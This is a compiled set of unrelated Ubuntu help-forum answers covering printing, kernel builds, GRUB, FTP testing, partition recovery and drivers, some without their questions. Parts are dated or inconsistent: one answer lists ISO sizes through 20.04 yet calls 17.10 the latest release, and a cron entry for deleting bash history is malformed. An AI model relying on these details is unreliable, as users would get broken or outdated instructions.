Changing the setting here will cause Ubuntu to use the correct keyboard setting not just for that session but for subsequent log ins.


Checked diskmgmt.msc? Try to install with wubi.


How can I print svg files from command line using image viewer (eog) or lpr?

As you have experienced lpr will only print svg files as XML (and thus prints pages filled with text only).

However there is a very simple workaround which is to convert the svg files to something more workable such as png on the fly and then automatically print these generated files. Two steps are required:

Step 1: Install imagemagick:

sudo apt-get install imagemagick

Step 2: As long as you have lp configured correctly with a 'default' printer then run the following loop in a Terminal screen from within the directory containing your svg files:

for i in *.svg
do
convert "$i" png:- | lpr
done

Explanation:

This 'loop' accomplishes the following:

Processes each svg file in turn in the directory
Uses the convert utility (part of imagemagick) to produce png files from each and every svg file
Passes each png file to stdout (rather than writing it permanently to disk)
Prints this file using lpr

This tested perfectly on my own system and should run equally well on your system :).


I have a LaCie external hard drive. I do not find drivers on their website. How do I initialize the drive? Do I add commands in terminal mode?

Plug and play devices don't need a driver. That's why they are plug and play. The driver is on the HD. There is an other thing, you have to
mount it.


CPU Governor Not 'Idling' After Kernel Update

When checking what my previous version was, I noticed I had several kernel versions. So I went to clear them out. I was a little overzealous, and accidentally deleted ALL of them. Once I broke my install to where it wouldn't boot, I started up the live USB and reinstalled 3.16.0-43 generic and 3.16.0-41, but missed the timing to get into grub. So I booted into 43. Now it works like a charm, which is weird because I had rebooted a couple of times, and nothing had worked. It seems to be working fine now.


fresh 20.04 install with nvidia and iGPU.. only get iGPU resolutions

This solution was given to me and tested via the NVIDIA linux forums

Essentially start the NVIDIA X Server settings:

https://forums.developer.nvidia.com/t/ubuntu-20-04-fresh-install-looking-for-how-to-use-prime-to-use-igpu-on-desktop-intel-gtx-1060/124195/2

under PRIME profiles select

NVIDIA OnDemand

next, you need to do the following :

add ‘nogpumanager’ kernel parameter

See https://wiki.ubuntu.com/Kernel/KernelBootParameters if you're unfamiliar with that step

delete /usr/share/X11/xorg.conf.d/11-nvidia-offload.conf
create /etc/X11/xorg.conf with contents:

   Section "Device"
       Identifier     "intel"
       Driver         "modesetting"
       BusID          "PCI:0:2:0"
   EndSection


tiff2pdf failed to convert 'example' multipage tiff, although working with 'real life' samples

Use -n as flag, it worked for me with the same file from your example, see https://www.systutorials.com/docs/linux/man/1-tiff2pdf/


What is the download size of Ubuntu latest version?

When I checked in my Downloads folder the size of the ISO file of the latest release of Ubuntu is 1.5GB which will fit on a >=2GB USB flash drive or a DVD. The Ubuntu 18.04 iso is 2.0GB, so you would be better off using a 4GB USB for Ubuntu 18.04.

The Ubuntu 18.10 iso is 1.9GB.
The Ubuntu 19.04 iso is 2.0GB.
The Ubuntu 19.10 iso is 2.3GB.
The Ubuntu 20.04 iso is 2.7GB.

Download the SHA256SUMS file for whatever Ubuntu ISO that you download so that you can verify the ISO file before using it.

The latest release of Ubuntu is 17.10. The SHA256SUMS file for Ubuntu 17.10 is at this webpage. The latest Long Term Support (LTS) release of Ubuntu is 16.04. Regular releases of Ubuntu are supported by updates for 9 months after the release date and LTS releases are supported for 5 years after the release date.


How to tell if an app is going to get suspended from QML

There an application property in the qt imported namespace which has a state that can be bound to:

Connections {
    target: Qt.application
    onStateChanged:
        if(Qt.application.state !== Qt.ApplicationActive) {
            // Pauze the game here
        }
}

The documentation here says the following:

application.state

  Qt.ApplicationActive - The application is the top-most and focused application, and the user is able to interact with the application.

But this is also issued with swiping from the top or left.

On the desktop, this is also issued when you re-size the window, which I'd consider a bug.

There is also:

  Qt.ApplicationSuspended - The application is suspended and not visible to the user. On mobile platforms, the application typically enters this state when the user returns to the home screen or switches to another application. While in this state, the application should ensure that the user perceives it as always alive and does not lose his progress, saving any persistent data. The application should cease all activities and be prepared for code execution to stop. While suspended, the application can be killed at any time without further warnings (for example when low memory forces the OS to purge suspended applications).

But this doesn't seem to work. I've reported a bug report. Please mark if it also affects you.


You have to check your /boot/grub/grub.cfg to fix the right "path" to your systems, choosing the correct media where they are installed, then reinstall grub.

Have a seat to read
man grub-mkconfig
man update-grub

Is highly recommended to instead of manually editing the spoken file, ask your system to rewrite it automatically by "grub-mkconfig -o /boot/grub/grub.cfg".

I hope you get things working...

Desculpa o inglês. Se preferir falar em português melhor... :P


How do I search files from a different partition using the dash

There's a tool called tracker-gui mentioned on the answer for this question:
How to let Ubuntu index and find files on a different (Windows) drive when searching?


The long term goal of the RT kernel project is to end up having all the RT functionality in the standard kernel, and this is progressing nicely. The RT patch has had irregular releases in the past, and the hacking of kernel.org in August 2011 made the 3.0 version inaccessible for months, but now things are looking good: there's a patch for 3.0, another for 3.2 (coinciding with the kernel versions in Ubuntu 11.10 and 12.04), and another for 3.4, see here.

If you are using Precise, you can use Alessio Bogani's Realtime PPA, who has kindly packaged the vanilla kernel with the RT patch applied and is keeping it in sync with the version numbers in Precise.

If you prefer to build the RT kernel by hand, first install the required software packages:

sudo apt-get install kernel-package fakeroot build-essential libncurses5-dev

Then fetch the vanilla kernel and RT patch (the version numbers are somewhat old, tweak as necessary):

mkdir -p ~/tmp/linux-rt
cd ~/tmp/linux-rt
wget http://www.kernel.org/pub/linux/kernel/v3.x/linux-3.4.tar.bz2
# Alternatively, try http://mirror.be.gbxs.net/pub/linux/kernel/projects/rt/3.4/patch-3.4-rt7.patch.bz2
# if the following is not available:
wget http://www.kernel.org/pub/linux/kernel/projects/rt/3.4/patch-3.4-rt7.patch.bz2
tar xjvf linux-3.4.tar.bz2
cd linux-3.4
patch -p1 < <(bunzip2 -c ../patch-3.4-rt7.patch.bz2)

Then configure the kernel using:

cp /boot/config-$(uname -r) .config && make oldconfig

where you should select "full preemption" (option 5) when prompted, and leave everything else at its default value by pressing enter at every prompt. The config from the -lowlatency kernel might be a better starting point than that of the -generic kernel.

Then build the kernel with:

sed -rie 's/echo "\+"/#echo "\+"/' scripts/setlocalversion
make-kpkg clean
CONCURRENCY_LEVEL=$(getconf _NPROCESSORS_ONLN) fakeroot make-kpkg --initrd --revision=0 kernel_image kernel_headers

And finally install your new kernel with:

sudo dpkg -i ../linux-{headers,image}-3.4.0-rt7_0_*.deb

You should be able to reboot into your RT kernel at this point.
If your kernel fails to boot make sure you double-check the boot parameters, and edit them accordingly in your bootloader. For example, ACPI functions may affect your real time system (as stated on rt.wiki.kernel.org). Adding acpi=off may be a solution in such case.

Notice though that the RT patch is incompatible with the Nvidia binary driver (but see the post by user "rt-kernel" below, and this question for a workaround), and that the Ubuntu kernel patches will not be present, so you may have hardware problems that you did not have before. This is true of both the PPA packages and the compiled kernel. You can always boot into your -generic kernel and uninstall the realtime kernel packages if they give you trouble, of course.


I found a solution to my question. Since I wanted to install Evolution only for my normal user account and not for the whole system I did it via Flatpak under the user account. flatpak list in the terminal window of the user account lists everything installed  that way, e.g.:

Evolution    org.gnome.Evolution     3.36.0 (by Flathub.org)   stable user

Next check for updates for the Evolution package by

flatpak update org.gnome.Evolution

Flatpak lists what's available, among others org.gnome.Evolution.Locale and org.gnome.Platform.Locale. This does the trick. After confirming to update Evolution is back to German. Now only that send-recv-window is still gone.


Remove amdgpu-pro and get the opensource driver

I just downloaded the daily build for the yet to be released ubuntu 18.04 and my RX 560 works without installing amdgpu-pro. I could not find any way to get it to work with 16.04.


if I am not wrong glibc and libc6 are same version of GNU C Library from http://www.linux-m68k.org/faq/glibcinfo.html

so you can install libc6 instead which is available in ubuntu 14.04 and 13.10 also

sudo apt-get install libc6


Whatsapp web qrcode flashes and dissapears

I was having the same problem and was able to fix it by going into Settings → Advanced and disabling hardware acceleration.


logging onto an external drive from terminal

Sounds like you want to use the "sftp" command. In your terminal, type "sftp seagate-3e8841.local". It will try to log into your remote system using your current user name. If your user name on the remote system is different, then do "sftp user_name@seagate-3e8841.local" where "user_name" is replaced by the user name on the remote system. You probably want to do a "man sftp" to learn what commands are available.

You might also consider mounting the remote HDD using SMB.


How to completely remove PlayOnLinux on 14.04 Ubuntu?

Type These commands in Terminal:-

sudo apt-get purge playonlinux
sudo apt-get autoremove
sudo apt-get autoclean

After that, there is still something left to do. Go to your hidden folders in /home/.playonLinux, which is where the settings are for POL. After deleting a program, the settings folder stays if you don't delete it manually.


Audex ripper codecs and FreeDB database access

The questions really demands two answers:

1. Install the codecs:

The Terminal command to install a fully featured audex including codecs is as follows:

sudo apt-get install audex eyed3 faac flac lame twolame vorbis-tools

Be aware that a very large number of KDE libraries will also be dragged in as dependencies of audex, if these dependencies seem excessive to you consider installing an alternative CD ripper such as asunder which carries no KDE cruft...

2. Change the CDDB database:

This functionality is broken on Xenial Xerus (the packager has possibly missed the dependency on kde-config-cddb) and to fix this you will have to build the package from scratch but as a bonus you get a newer version!

First activate your Sources:

Dash > Software & Updates > Ubuntu Software > Source Code

Place a tick in the 'Source Code' box and then allow the Repositories to reload. Then copy the entire following code box into a Terminal window, it is a single command:

sudo apt-get build-dep audex && \
sudo apt-get install kdemultimedia-dev libcddb2-dev kde-config-cddb checkinstall && \
mkdir -pv ~/audex_build && cd ~/audex_build && \
wget https://github.com/KDE/audex/archive/v0.79.tar.gz && \
tar xvf v0.79.tar.gz && cd audex-0.79 && \
mkdir build && cd build && \
cmake -DCMAKE_VERBOSE_MAKEFILE=ON -DCMAKE_BUILD_TYPE=Release \
-DCMAKE_INSTALL_PREFIX=/usr/local .. && make -j 4 && \
sudo checkinstall -D --install=yes --fstrans=no --pakdir "$HOME/audex_build" \
   --pkgname audex --backup=no --deldoc=yes --deldesc=yes --delspec=yes \
   --default --pkgversion "0.79"

Log out and then log back in and you should now see the following:

Note that now you also have an extra tab called 'Device settings' to tweak your CDROM settings. And all the best with ripping your audio cds :)


Why are my DVD and Bluray drives called /dev/srX? What does sr stand for?

Linux SCSI Disk support module = sd_mod
Linux SCSI Tape support module = st
Linux SCSI CDrom support module = sr_mod
Linux SCSI generic support module = sg

So, most likely, that stands for SCSI CDrom
Source

I've noticed that this doesn't fully address the question.
As you can see, /dev/cdrom is just a symbolic link to /dev/sr0, which is the actual device.
The naming of a character device is dependant on the module which initializes it: SCSI CD-ROMS are handled by the sr_mod module, and they're named after the module itself (srX).
If your CD-ROM drive happened to be an IDE drive, the actual device's name would have been /dev/hdX.
So since there are multiple interfaces through which a CD-ROM drive could be attached to the system, /dev/cdrom is used to always point to the first CD-ROM device (SCSI, IDE or whatever), most likely to give the drive an unique common interface for whatever needs to use it in the system.

CDROM device names are not maintained by the uniform CDROM layer but rather by each individual protocol stack. In the case of the SCSI subsystem, device names are maintained by the sr driver while the IDE subsystem maintains device names with its central "ide" driver (i.e. not by the ide-cd driver). USB and IEEE1394 cd devices names are maintained by their respective stacks. This may partially explain why the /dev/cdrom is often a symbolic link to the appropriate subsystem's device name.

Source


Ubuntu 20.04 Default terminal user doesnt have write group access

Group membership is applied at login time, from the /etc/group file.
To make use of the new group, logout/login, or, for testing, read man newgrp.


How to dettach input devices in startup?

you can use (xinput):
xinput list
⎡ Virtual core pointer                     id=2 [master pointer  (3)]
⎜   ↳ Virtual core XTEST pointer               id=4 [slave  pointer  (2)]
⎜   ↳ MOSART Semi. HP Wireless Keyboard and Mouse id=10 [slave  pointer  (2)]
⎜   ↳ ELAN0707:00 04F3:30DA Touchpad           id=12 [slave  pointer  (2)]
⎜   ↳ ELAN2514:00 04F3:23C4                   id=13 [slave  pointer  (2)]
⎜   ↳ ELAN2514:00 04F3:23C4 Pen               id=14 [slave  pointer  (2)]
⎣ Virtual core keyboard                   id=3 [master keyboard (2)]
    ↳ Virtual core XTEST keyboard             id=5 [slave  keyboard (3)]
    ↳ Power Button                             id=6 [slave  keyboard (3)]
    ↳ Video Bus                               id=7 [slave  keyboard (3)]
    ↳ Power Button                             id=8 [slave  keyboard (3)]
    ↳ MOSART Semi. HP Wireless Keyboard and Mouse id=9 [slave  keyboard (3)]
    ↳ HP Wide Vision HD Camera: HP Wi         id=11 [slave  keyboard (3)]
    ↳ Intel HID events                         id=15 [slave  keyboard (3)]
    ↳ Intel HID 5 button array                 id=16 [slave  keyboard (3)]
    ↳ AT Translated Set 2 keyboard             id=17 [slave  keyboard (3)]
    ↳ HP WMI hotkeys                           id=18 [slave  keyboard (3)]
    ↳ HP Wireless hotkeys                     id=19 [slave  keyboard (3)]


It seems like GnuCash is a good program for accounting. It can import QFX files (one for each account) from Quicken, and it will try to not keep duplicate entries. It also has a checkbook-style register, as you mentioned.

From their website:

Designed to be easy to use, yet powerful and flexible, GnuCash allows you to track bank accounts, stocks, income and expenses. As quick and intuitive to use as a checkbook register, it is based on professional accounting principles to ensure balanced books and accurate reports.


The correct service name is mongodb.service.
You may check using:
dpkg -L mongodb-server


Ubuntu: Boot hangs for 30 seconds at "Begin: Running /scripts/local-premount"

sudo gedit /etc/initramfs-tools/conf.d/resume

  RESUME=UUID=18469c87-14e0-4dca-8cb6-591d41298d1e

android@inspi:~$ sudo update-initramfs -u -k all
update-initramfs: Generating /boot/initrd.img-5.4.0-28-generic
update-initramfs: Generating /boot/initrd.img-5.4.0-26-generic
android@inspi:~$

  android@inspi:~$ sudo lsblk -f NAME   FSTYPE LABEL       UUID
  FSAVAIL FSUSE% MOUNTPOINT sda
  ├─sda1 vfat               ACC7-9A1B                             140.1M
  52% /boot/efi ├─sda2 swap
  18469c87-14e0-4dca-8cb6-591d41298d1e                [SWAP] ├─sda3 ext4
  3c1e55bc-8bdc-4742-912d-337da429b83f   96.1G     5% / ├─sda4
  ├─sda5 ntfs               80D47B63D47B59FC
  └─sda6 ntfs   router_data 4416017316016770                      111.4G
  60% /home/android/routerbin sr0
  android@inspi:~$


Why is the default boot partition so small with whole disk encryption option?

I don't know why, but I find this inconvenient as well. Fortunately, current Ubuntu 14.10 supports setting up full disk encryption with manual specification of the partitioning. I don't know about older versions.

Working around this issue is a bit tedious:

Use a text mode installer (I used a "Server" image) or a live CD to configure partitioning.

Create a reasonably sized primary boot partition and one extended partition to hold all LVM partitions (at minimum, root and swap). Detailed instructions in this wonderful answer.
It's safe to shut down the system after the partitioning has finished

When installing your favorite flavor of Ubuntu, mount encrypted file systems before installing:  (See here for an official statement and a guide for the command line (a substitute for my instructions below), and this Launchpad issue for some context).

Choose "Try Ubuntu" after booting live disk.
Mount the encrypted partitions (e.g., in Nautilus)

Backup at least /etc from the mounted encrypted partition

You can simply move everything to a new folder /z with cd *; mkdir z; mv * z in a root shell

ignore the warning that mv prints

Eject the encrypted partition in Nautilus
Start installation using the desktop icon
Do not unmount anything when asked

Choose a custom install

Specify partitions that will contain / and /boot

IMPORTANT: After installation, do not reboot
Mount the encrypted root again in Nautilus
Restore /etc/fstab and /etc/crypttab from your backup (in /z if you followed the suggestion)
Recreate the contents of /boot. In a root shell:

cd /media/*/* # location of mounted encrypted root
chroot .
mount dev
mount proc
mount run
mount sys
mount boot
update-initramfs -u -k all
update-grub
umount boot
umount sys
umount run
umount proc
umount dev
exit

Reboot

Instead of step 2, you can also finish a "minimal" install (choose it with F4 on the first screen; details in this other wonderful answer) and manually pull in your desktop packages into your "Server" system.


Maybe its because you may have installed a numpy for python 2.x series and since you are using python 3.x, it won't work. You should install the python3-numpy package for it to work properly.


Kind of, Yes.  There were SPARC ports of two LTS releases: 8.04 and 10.04 server.  After 10.04 however no-one was actively maintaining the ports so that was the last one.  12.04 does not have a SPARC port, and I haven't heard of anyone working on the port.

Theoretically 10.04 server is supported until April 2015, however since no-one appears to be maintaining the SPARC ports it seems unlikely that there will be any updates.  What there is of 10.04 for SPARC is here.  Scroll down to the bottom for most of the SPARC downloads

It seems unlikely that there would be many people here who have used the SPARC port, but you might ask around the SPARC community to get their thoughts on it.


Black Rectangle on booting 14.04 LTS covering Grub Options

That happens when ubuntu is the only installed OS.
You have to edit the following file:

sudo nano /etc/default/grub

Then you have to replace the following line:

GRUB_HIDDEN_TIMEOUT= ...

with this one:

GRUB_TIMEOUT=5

(Or any timing of your like != 0)

And finally, regenerate the Grub configuration to make it active:

sudo update-grub


Will Ubuntu be able to replace windows 7 on my pc? And if which version will work for me?

While as @solsTiCe's comment that installing Linux or specifically Ubuntu won't give your PC more resources is true, it will however make more efficient use of those resources.
If you wish to continue using your PC without upgrading hardware - then that is entirely possible with Ubuntu. It will even arguably work faster than with Windows as your hardware configuration is barely the minimum Win7 supports, while it is roughly twice of Ubuntu's minimum requirement.
If you do decide to switch to Ubuntu then here are a few pointers that might help you out further:

First of all test Ubuntu as a Live system, see whether you like it.
If you like it then I'd recommend using a window manager that's easy on resources.While they might not look as "good" as other more heavier window managers they do make a fine job out of conserving memory (both on your graphics card and RAM). Either Lubuntu or Xubuntu might be good. (Or just apt-get install one you like after you installed your base system.)


What does "cp: omitting directory" mean?

By default, cp copies only the direct files in, and not subdirectories in the directory. The message cp: omitting directory 'directory' warns you that the mentioned directory is not copied.

To do so, specify the -r (or --recursive) option:

sudo cp -r ~/Transfers/ZendFramework-1.11.4-minimal/library/Zend/* ~/public_html/cmsk.dev/library/

The manual page (command: man cp) contains an overview of the available options.


Can I install Linux on a external hard drive and then use it to delete the existing linux on my computer

You can even install it on a USB stick. My question, however, is if you can't get Ubuntu to boot from the CD, will you be able to install Windows?


Ubuntu Server 14.04.1 Static IP breaks internet

The difference between using DHCP and static addresses is that the 'gateway' box in question here knows to set up a NAT (Network Address Translation) table when using DHCP, because it knows the IP address it gave your host.  With a statically assigned address, the 'gateway' doesn't get its NAT tables updated.  So whilst the packet may be being successfully forwarded outside to the internet, the gateway doesn't know what to do with the return/reply packets because its NAT wasn't configured.

So we need to configure the gateway box to use NAT for the .116 address.  If the gateway is a standard access point, they usually allow for static IP configuration by MAC (Media Access Controller) address via its web configuration interface:  give it the .116 address and the (.116 host's) MAC address (displayed using the 'ifconfig' command with the title 'HWaddr'), and set the host back to DHCP, and that way your host will have a static IP address the gateway knows to NAT.


"bluetooth not found. plugin dongle" in ubuntu 20.04

i had similar issue with wifi - at settings there is a switch on upper right corner (app's statusbar), you should be able to enable BT in this way. if it doesn't work - install synaptic manager and check for updates. if there are updates - do it, maybe drivers for your network card will update and then bluetooth might start work. if you don't have any - find your drivers and reinstall them. hope it helps ;)


Can I map the media player function keys to a media player other than Totem?

Yes, if you want to enable media controls for VLC in Ubuntu 10.10 ...

(I can't speak for other releases, anyone?)

... you will need to unset the media control keyboard global shortcuts in order to use them with VLC.

1) Open Keyboard shortcuts settings. Disable media play/pause/skip/reverse and whatever else you wish to use with VLC. To disable a shortcut, you have to press Backspace while in "changing shortcut"-mode.

2) Open VLC preferences and set shortcuts for the keys you want to use. Tools>preferences>Hotkeys tab. Change "Global" setting: Double-click "global" list item area: hit according media key. hit "apply", "save".

3) Restart VLC.


Several things you could do.
1. Type a space in front of each command you run.
It's tedious, but putting a space in front of your commands will keep them from being saved to the bash history.
2. Set a Cronjob to delete .bash_history every hour
Your terminals historical commands are stored in .bash_history in your home directory.  If you delete the file, it will effectively remove your history.
First create the script to remove the .bash_history file:
nano ~/script.sh

and add:
#!/bin/bash
rm /home/user/.bash_history

then run:
chmod 775 script.sh

to make script executable and run:
crontab -e

and add 1 * * * * * /home/user/script.sh.
Then exit and save, and it should delete your history every hour.
3. Run unset HISTFILE, as @Carl suggested.
Just run it before exiting the terminal, and it will not save those commands that you ran in the last session to .bash_history.


Unlike NTFS, EXT4 partitions cannot be resized while they are mounted and in use.

You will have to boot a live USB stick to resize the partition.


How to move multiple files at once to a specific destination directory?

You could use

mv -t DESTINATION file1 file2 file3

and

mv -t DESTINATION  `ls|grep IDENTIFIER`

works, but I'm not sure if mv is invoked multiple times or not as grep will output a new line for each match.


Allocate free space to main ubuntu partition

I'd go with gparted run from a live Linux on a USB drive.

If you must minimize your machine downtime, and if you consider that moving/merging your partition with an automated tool like gparted is risky, here is what I would do for maximum safety + minimum downtime:

Step 1: create a /dev/sda5 partition with the free 204 GB before your root partition.

Step 2: format at it (ext4), mount it and copy your root partition to it (e.g. cp -ax).

(consider that, from now on, any change to the original /dev/sda6 partition will be lost, unless you resync later)

Step 3: add an entry to the grub menu in order to boot your system with the newly created partition.

Step 4: reboot on /dev/sda5 and check that everything is ok

Step 5: remove /dev/sda6 and add the remaining free space to /dev/sda5 (i.e. grow it till the end of the disk). This can be done manually without any risk if you are careful (fdisk/gdisk + live resize2fs). This can probably be done (more?) safely with your graphical tool.

Done.


Is there any issues after upgrading native Ubuntu 12.04 on Dell XPS 13 developer edition?

It is totally safe, you must backup your data first and then do the upgrade or clean install (which I recommend because there has been an Ubuntu 12.10, 13.04 and the new 13.10 and I'm not really sure if it will let you upgrade straight away so it will be much faster to clean install).

PS: If you are upgrading through terminal:

do-release-upgrade


I want the night light applet from GNOME shell 3.24

You can install redshift from the following command:

sudo apt install redshift

You can just add redshift to your startup if you are OK with redshift pulling its own default settings. Or, you can configure it manually like I have laid out below.

You can get your Longitude & Latitude from https://www.latlong.net/

You can then create a config file that redshift will use in your home folder at ~/.config/redshift.conf.  Add the following lines to it, and I added the lat and lon for Portland, OR.  But you can add the ones for your location.  Make sure to set location-provider= to manual then if you want to use the LAT and LONG.  However, the application geoclue2 should be able to find your location.  Change the temp-day and temp-night to your likings.

~/.config/redshift.conf

; Global settings
[redshift]
temp-day=6500K
temp-night=3500
transition=1
gamma=1.000:1.000:1.000
location-provider=geoclue2
adjustment-method=randr

; The location provider and adjustment method settings
; are in their own sections.
; These are the location for Portland, OR.
[manual]
lat=45.523062
lon=-122.676482

Then all you have to do is to add just the application of redshift -c ~/.config/redshift.conf to your startup applications and it will use your config file at startup by default.

You can check your redshift parameters by running redshift -pv or redshift -p:

terrance@terrance-ubuntu:~$ redshift -pv
Location: 45.55 N, 122.68 W
Temperatures: 6500K at day, 3500K at night
Solar elevations: day above 3.0, night below -6.0
Brightness: 1.00:1.00
Gamma (Daytime): 1.000, 1.000, 1.000
Gamma (Night): 1.000, 1.000, 1.000
Solar elevation: -22.482371
Period: Night
Color temperature: 3500K
Brightness: 1.00

terrance@terrance-ubuntu:~$ redshift -p
Period: Night
Color temperature: 3500K
Brightness: 1.00

Hope this helps!


Server side

Check service status

sudo service vsftpd status

Check its running processes

ps ax | grep vsftpd

(Command to: list all processes then filter output for vsftpd line)

or you can use a loop to monitor its processes:

while sleep 1 ; do clear ; ps ax | grep vsftpd ; done

(Command to: wait 1 second, clear shell screen, list all processes then filter output for vsftpd line, loop again as sleep always return succefully)
Check port status related to vsftpd process

netstat -lnp | grep vsftpd

(Command to: list all listening ports with port number and process id (PID) owning it then filter output for vsftpd line)
Monitor server log (tail with -f to follow log updates and monitor vsftpd)

$ tail -f /var/log/vsftpd.log
Fri Apr 25 18:43:28 2014 [pid 2026] CONNECT: Client "127.0.0.1"
Fri Apr 25 18:45:01 2014 [pid 2025] [sneetsher] OK LOGIN: Client "127.0.0.1"

Client side

(note: I run them from server just to make examples, prefer other host to check firewall settings...)

ftp command with -v verbose option to show all responses from the remote server)

$ ftp -v localhost
Connected to localhost.
220 (vsFTPd 3.0.2)
Name (localhost:sneetsher):
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

FileZilla. It has very detailed log, but it sends couple commands depending on settings which not always what you want.

Status: Resolving address of localhost
Status: Connecting to 127.0.0.1:21...
Status: Connection established, waiting for welcome message...
Response:   220 (vsFTPd 3.0.2)
Command:    USER sneetsher
Response:   331 Please specify the password.
Command:    PASS ********
Response:   230 Login successful.
Command:    SYST
Response:   215 UNIX Type: L8
Command:    FEAT
Response:   211-Features:
Response:    EPRT
Response:    EPSV
Response:    MDTM
Response:    PASV
Response:    REST STREAM
Response:    SIZE
Response:    TVFS
Response:    UTF8
Response:   211 End
Command:    OPTS UTF8 ON
Response:   200 Always in UTF8 mode.
Status: Connected
Status: Retrieving directory listing...
Command:    PWD
Response:   257 "/home/sneetsher"
Command:    TYPE I
Response:   200 Switching to Binary mode.
Command:    PASV
Response:   227 Entering Passive Mode (127,0,0,1,159,231).
Command:    LIST
Response:   150 Here comes the directory listing.
Response:   226 Directory send OK.
Status: Calculating timezone offset of server...
Command:    MDTM 0000_12.04~
Response:   213 20140208184211
Status: Timezone offsets: Server: 0 seconds. Local: 0 seconds. Difference: 0 seconds.
Status: Directory listing successful
...
Status: Sending keep-alive command
Command:    TYPE I
Response:   200 Switching to Binary mode.

Possible testing workflow

Server side: After changing vsftpd.conf, restart service (no need to reboot VBox guest)

sudo service vsftpd restart

Client side: It's possible to write FTP client scripts (routine tests) using yafc. Example to upload a folder:

#!/bin/bash
yafc <<**
open ftp://username:password@hostname
put -f -r folder
close
**
exit 0

or using ftp:

#!/bin/sh
HOST='ftp.users.qwest.net'
USER='yourid'
        PASSWD='yourpw'
FILE='file.txt'

ftp -n $HOST <<END_SCRIPT
quote USER $USER
quote PASS $PASSWD
put $FILE
quit
END_SCRIPT
exit 0

Server/Client on VirtualBox guests

Client should be in same NAT Network, Internal Network with server.
Or if Server has Bridged Adapter, Client could be set with NAT, NAT Network, Bridged Adapter.

References:

Ubuntu community help wiki: vsftpd
man vsftpd, man vsftpd.conf
man service, man netstat
How to use ftp in a shell script


Hibernation turns off screen, but doesn't seem to actually hibernate. Cannot resume, only force shutdown

Considering your question you are not a NOOB. Your information is precise and very good.
Try the following in a root terminal :
echo platform > /sys/power/disk
echo disk > /sys/power/state

If platform works, add it to  /etc/systemd/sleep.conf:
[Sleep]
HibernateMode=platform

else try it with "shutdown" (this helped me alot of times)


I have had the same problem while installing Amensia AMFP. The solution was to unpack it with:

unzip ./AmneiaAMFP-1.0.0.sh

Explaintion: The .sh file has zip-file packed at the end of the file, which you need to unpack before usage.


Why does the ubuntu-server package depend on update-notifier-common?

The file list of update-manager-common shows some files that would of use on a server:

/etc/kernel/postinst.d/update-notifier
/etc/update-motd.d/90-updates-available
/etc/update-motd.d/95-hwe-eol
/etc/update-motd.d/98-fsck-at-reboot
/etc/update-motd.d/98-reboot-required

It adds various useful messages to MOTD, and sets the reboot required notification for kernel packages. Could these be put in another package? Perhaps. Should they be? I don't see a compelling reason.


5.0.0-21 kernel update causing desktop and mouse problems

Just to document the solution...

From the comments...

Figured out what the problem was. And I was right in thinking that it was a memory conflict of some sort. In BIOS, I had XMP enabled which automatically set my ram to run at it's maximum speed of 1600 (a bit of overclocking in a sense). I've toned it back down to 1333 and now when I boot up using the latest 5.0.0-21 kernel everything is at it should be.


You need to install the VisualOn AAC encoder library (development files):

sudo apt-get install libvo-aacenc-dev


Linux partition deleted by windows 10 installer

You may find some help here under the section titled "Lost Partition" https://help.ubuntu.com/community/DataRecovery

  Lost Partition

  If you made a mistake while partitioning and the partition no longer
  appears in the partition table, so long as you have not written data
  in that space, all your data is still there.

  GNU Parted

  Run Parted from the command line to recover your partition.

  When changing the partition table on your hard drive, you must ensure
  that no partition on the disk is mounted. This includes swap space.
  The easiest way to accomplish this is to run the live cd. Parted is
  installed on the base Ubuntu system. Once at the desktop, open a
  terminal and run_:

sudo swapoff -a

  Next run parted and tell it to use the device in question. For
  example, if your /dev/sda drive is the drive from which you want to
  recover, run:

sudo parted /dev/sda

  Then, use the rescue option:

rescue START END

  where Start is the area of the disk where you believe the partition
  began and END is its end. If parted finds a potential partition, it
  will ask you if you want to add it to the partition table.

  Testdisk

  Alternatively, the testdisk application may recover your partition.
  Use any method to install the testdisk package.

  Run testdisk and it will scan your computer for media and offer you a
  menu-driven way to recover your partition.

sudo testdisk

  Gpart

  Another program that can scan drives and re-create a partition table
  based on "guesses" is Gpart. Use any method to install the package
  gpart.

  To scan the first hard disk using default settings type

sudo gpart /dev/sda

  or

sudo gpart /dev/hda

  depending on your Ubuntu version.

  You can restore the "guessed" partition table, only after checking it
  very carefully (you're strongly advised to write to another device
  instead), using

sudo gpart -W /dev/sda /dev/sda


Here is how to get syspeek working again. (tested on 14.04) :

http://linuxg.net/how-to-install-syspeek-0-3-on-ubuntu-14-04-ubuntu-13-10-ubuntu-12-10-and-ubuntu-12-04/

 sudo add-apt-repository ppa:nilarimogard/webupd8
 sudo apt-get update
 sudo apt-get install syspeek

Enjoy!


using the ultrabook term is not precise enough to describe your specific necessity, since it allows for a really wide range of products, from the cheap to the expensive and bare-boned to the most featureful kind of equipment.

You'd better of asking questions about each feature you're interested in or about a specific model you choose. Try the askubuntu tag filter to sort out whether your question wasn't already answered.

About the SSD decision, it's basically whether you have the money and the care for such a speed up. Particularly I can't care less for a SSD drive, as long as I'm not developing SSD drivers nor running data servers.


"No such file or directory" appears when I run "sudo chmod +x NVIDIA-Linux-x86_64-352.63.run"

Install the same driver a correct way by running in terminal

sudo apt-get install nvidia-352

Or go to System Settings -> Software & Updates -> Additional Drivers

and install it from there.

But the 352.63 driver has a bug, that leads to system dead hangs on some adapters. It has been fixed in 352.79.

It can be installed from a PPA this way:

sudo add-apt-repository ppa:graphics-drivers/ppa
sudo apt-get update
sudo apt-get install nvidia-352


Ubuntu installation does not boot from live usb, disabling secure boot not an option

On my Asus I have to plug in the USB, boot to BIOS, and change the boot order, then allow the boot to proceed. If I change the boot order on a prior boot, it is not persistent, always returns to hard drive first.

If that does not work, I have also used this two pass procedure successfully on an Asus.

        First Pass (disable Secure Boot)

Do not plug in the USB yet.

Restart the PC. Hold F2 for UEFI.

In the UEFI hit F7 or select Advanced Mode.

Select the Boot Menu.

Select Secure Boot.

Change the OS Type from Windows UE... to Other (the only other choice).

Exit, saving changes, and allow the boot to proceed.  It will boot to Windows.

          Second Pass (boot to USB)

Plug in the USB.

Select Restart from Windows power menu.  Hold F2 for UEFI.

On the initial UEFI screen, drag the USB to the leftmost position.  (Ensure Windows is last).

Exit the UEFI.  It will say you didn't make any changes, but it will boot to the USB.

          Restore Initial State.

Remove the USB.

Restart the PC. Hold F2 for UEFI.

In the UEFI hit F7 or select Advanced Mode.

Select the Boot Menu.

Select Secure Boot.

Change the OS Type from Other to Windows UEFI (the only other choice).

